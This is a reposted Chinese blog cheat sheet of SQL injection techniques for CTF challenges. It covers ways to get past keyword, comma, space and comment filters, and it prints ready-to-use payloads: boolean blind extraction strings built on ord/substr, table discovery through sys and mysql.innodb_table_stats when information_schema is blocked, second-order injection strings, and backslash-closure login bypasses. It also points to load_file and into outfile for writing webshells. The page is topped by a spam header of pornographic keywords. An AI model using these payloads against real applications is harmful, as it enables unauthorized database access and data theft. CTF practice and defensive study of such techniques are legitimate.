日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

-------已搬运------SQL注入的 过滤 思路 payload 万能密码

發布時間:2023/12/20 数据库 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 -------已搬运------SQL注入的 过滤 思路 payload 万能密码 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄:

  • 一、過濾關鍵詞:
      • 1. 過濾 `=` 可用 `like`,`regexp`,`in`來代替:
      • 2. 過濾`ascii`,不能用bool盲注了。可用`ord`來代替:
      • 3. `,`逗號被過濾了:
        • 1. `substr(***,1,1)` 用這個來代替:`substr(***from({})for(1))`
        • 2.`limit 0,1` 用這個來代替:`limit 1 offset {}`
      • 4. 過濾了,information_schema.schemata這些,---無列名注入
      • 5. 過濾了 union 的無列名注入: ----- ascii 偏移
      • 6. 過濾了union的無列名注入: ---- join 方法,
      • 9. regex注入
      • 10. `/**/`注釋符被過濾的情況,以及和`/**/`有關的過濾
        • 1. 繞過/**/注釋
        • 2. 內斂執行
      • 11.補充:
  • 二、一些小trick,思路:
      • 1. 關于bool盲注的正確與否
      • 2. 關于二次注入外顯數據
        • 1. substr 帶出來,
      • 3. 不行直接猜測 select flag from flag 或者select * from flag,,,md
      • 4. 如果需要session驗證的話,
      • 5.關于閉合`單引號`,
      • 6. sql注入,首先考慮 聯合查詢注入:union select 這些,然后再去思考 bool盲注,time盲注這些。
      • 7. 閉合`select * from users where name=''and pw=''`
      • 8. load_file(), into out_file(),的利用在 二次注入中出現較多。
      • 9. load_file()分 長度讀取 flag。
      • 10 .當PHP的版本較低的時候,可以和mysql結合,考慮`;%00`當作注釋符,進行截斷
  • 三、一些payload:
      • 1. 過濾了 空格,但是可以聯合查詢的bool注入:
      • 2. 二次注入,可用substr:
      • 3. information.schema等被過濾了,不能夠查詢表明,不能查列明的時候 ---- 其他的來查找 表名--- 無列名注入
      • 4.無列名注入。
      • 5. 最最基本的聯合查詢注入:
      • 6. 過濾了union 的無列名注入:----ascii偏移
      • 7. 過濾了union的無列名注入: ---- join 方法,
      • 9. regex注入:
      • 10. 堆疊注入:
  • 四 、 萬能密碼:

字符是 32 - 128 。

還在補充中:…

一、過濾關鍵詞:

1. 過濾 = 可用 like,regexp,in來代替:

=被過濾了,可以用 like來代替。
如果=和like 被過濾了,也可以用regexp或者 in 來代替,后面都有,
注意:盡量不要用regepx來做,后面有解釋,用 in like是可以的。這個 和 = 的效果是一樣的。regexp是正則,如果ord是100的化,你regexp(1)也會是成功的。。。當然除非我們使用regexp的正則規定,算了沒找到,就不要用regexp了吧。

能用

盡量不要用regep

2. 過濾ascii,不能用bool盲注了。可用ord來代替:

3. ,逗號被過濾了:

1. substr(***,1,1) 用這個來代替:substr(***from({})for(1))

  • substr(***,1,1),用 substr(***from({})for(1))。來代替。
    from是從1開始的。for總是1

2.limit 0,1 用這個來代替:limit 1 offset {}

這個測試過濾,不能夠用括號來代替空格。。。

4. 過濾了,information_schema.schemata這些,—無列名注入

當information_schema等杯過濾的時候,能夠查詢出來數據庫的名字,但是查找不到表的名字,這時候可以用這個:sys.x$schema_flattened_keys或者sys.schema_table_statistics_with_buffer來爆出表明,這個也能爆表明:mysql.innodb_table_stats然后列明也沒辦法查么,可以用無列明注入

表明下面這個兩個能爆出來,但是列名就要 用 無列名注入了。
select/**/group_concat(table_name)/**/from/**/ mysql.innodb_table_stats。

select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()

5. 過濾了 union 的無列名注入: ----- ascii 偏移

BUUCTF:[GYCTF2020]Ezsqli --過濾了information_schem ------ 無列明注入之過濾了union 使用ascii偏移來做

6. 過濾了union的無列名注入: ---- join 方法,

9. regex注入

可以看這個

10. /**/注釋符被過濾的情況,以及和/**/有關的過濾

1. 繞過/**/注釋

/**/是MySQL的多行注釋,里面的不執行,如果題目只是過濾了/**/這個整體,那么這樣就能夠繞過了。

select/*sadfa*/user/*qwer*/from/*qwer*/users;

2. 內斂執行

在多行注釋中,前面加上!。就能夠執行了。

select/*!user*/ from users;

11.補充:

二、一些小trick,思路:

1. 關于bool盲注的正確與否

如果1^0這樣的,錯誤的時候有回顯,正確的時候沒有回顯,那么我們完全可以再加一個抑或啊,像這樣:1^0^1。這樣,就能夠達到我們一一對應的目的了

2. 關于二次注入外顯數據

1. substr 帶出來,

name = 0'+ascii(substr((select * from flag) from {} for 1))+'0=。

3. 不行直接猜測 select flag from flag 或者select * from flag,,,md

4. 如果需要session驗證的話,

可以繞過,繞過生成session的頁面的一些過濾。用session_upload生成一個session。從而繞過。

5.關于閉合單引號,

  • 閉合方法很多,那些基本的萬能密碼那些就不說了。

  • 這里說一個,用聯合注入,測試 列數的:id = 1'/**/group/**/by50,'3。這樣來閉合單引號,因為我們如果用group by了,那么就沒有辦法閉合單引號了。這是一個小truck。具體題目可見這個:BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入–無列名注入-group_concat ---- /**/—group by ----- 3.9修改

  • 6. sql注入,首先考慮 聯合查詢注入:union select 這些,然后再去思考 bool盲注,time盲注這些。

    7. 閉合select * from users where name=''and pw=''

    第一個反斜杠閉合,后面的閉合就好了。
    select * from users where name='\'and pw='or'1'
    select * from users where name='\'and pw='or1#'
    select * from users where name='\'and pw='or1--+'
    select * from users where name='\'and pw='or1;%00'

    8. load_file(), into out_file(),的利用在 二次注入中出現較多。

    sql二次注入,,,里面有一些 payload 不錯,可以寫木馬的。

    9. load_file()分 長度讀取 flag。

    10 .當PHP的版本較低的時候,可以和mysql結合,考慮;%00當作注釋符,進行截斷

    這個題目應該就是用的這一點。

    三、一些payload:

    1. 過濾了 空格,但是可以聯合查詢的bool注入:

    這個稍微有點雞肋,不過還好,用了 group_concat因為這樣 以來select就不用 limit 這樣了,就不需要使用 空格了。
    關于ord,in regex什么的可以看上面
    查找庫名的:
    1^(ord(substr((select(group_concat(table_name))from(information_schema.tables) where(table_schema)in(database()))from({})for(1)))>{})^1

    這個放到 pad++中好好看看括號什么的。
    ?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from(1)for(1)))>(1))^1
    查找 表名的
    1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database()))from({})for(1)))in({}))^1
    爆列明: 這個過濾了單引號 ,,用16進制繞過,為 falg字段的16進制。
    1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)in(0x666c6167))from({})for(1)))in({}))^1

    爆flag:
    1^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))in({}))^1

    2. 二次注入,可用substr:

    name = 0'+ascii(substr((select * from flag) from {} for 1))+'0=。

    3. information.schema等被過濾了,不能夠查詢表明,不能查列明的時候 ---- 其他的來查找 表名— 無列名注入

    這個爆表名
    select/**/group_concat(table_name)/**/from/**/ mysql.innodb_table_stats

    這個能爆列名
    select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()

    1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))={})^1
    其他payload看這個把,
    BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入–無列名注入-group_concat ---- /**/—group by ----- 3.9修改

    4.無列名注入。

    其他payload看這個把,
    BUUCTF:[SWPU2019]Web1 sql注入 MariaDB注入–無列名注入-group_concat ---- /**/—group by ----- 3.9修改

    5. 最最基本的聯合查詢注入:

    爆表名:
    select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()
    或者:其他的過濾的話,看其他的,這里只是提供最基本的語句
    select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1

    6. 過濾了union 的無列名注入:----ascii偏移

    BUUCTF:[GYCTF2020]Ezsqli --過濾了information_schem ------ 無列明注入之過濾了union 使用ascii偏移來做

    7. 過濾了union的無列名注入: ---- join 方法,

    9. regex注入:

    可以看這個

    10. 堆疊注入:

    看強網杯和那個blacklist就差不多了。

    四 、 萬能密碼:

    總結

    以上是生活随笔為你收集整理的-------已搬运------SQL注入的 过滤 思路 payload 万能密码的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。